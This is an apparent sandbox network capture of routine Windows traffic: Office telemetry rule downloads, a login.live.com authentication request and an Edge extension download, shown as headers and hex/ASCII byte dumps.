2024-11-12 05:23:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:26 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052326Z-15869dbbcc6j87jfhC1DFWr0yc00000007eg00000000abn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:26 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052327Z-16547b76f7frbg6bhC1DFWr5400000000f0g00000000hvzq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052327Z-16547b76f7fq9mcrhC1DFWq15w0000000f5g000000008u91 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052327Z-16547b76f7f2g4rlhC1DFWnx880000000f600000000024sd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052327Z-16547b76f7f4k79zhC1DFWu9y00000000f8g0000000079pp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052327Z-16547b76f7f4k79zhC1DFWu9y00000000f900000000054da x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49776	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 05:23:27 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:27 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 0f31316f-c5a2-4094-8696-408942859bbc PPServer: PPV: 30 H: BL02EPF00027B64 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:27 GMT Connection: close Content-Length: 1276
2024-11-12 05:23:27 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49797	142.250.186.65	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:27 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:27 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY0GkvHhk2fe-WEcJJ_nA6Rkxma9OWZFvSN9bVkDiuDy_iOqPoshpbDpZl8I77_jvWIrRQGo35mZtg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 11 Nov 2024 20:33:29 GMT Expires: Tue, 11 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 31798 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 05:23:27 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-12 05:23:27 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
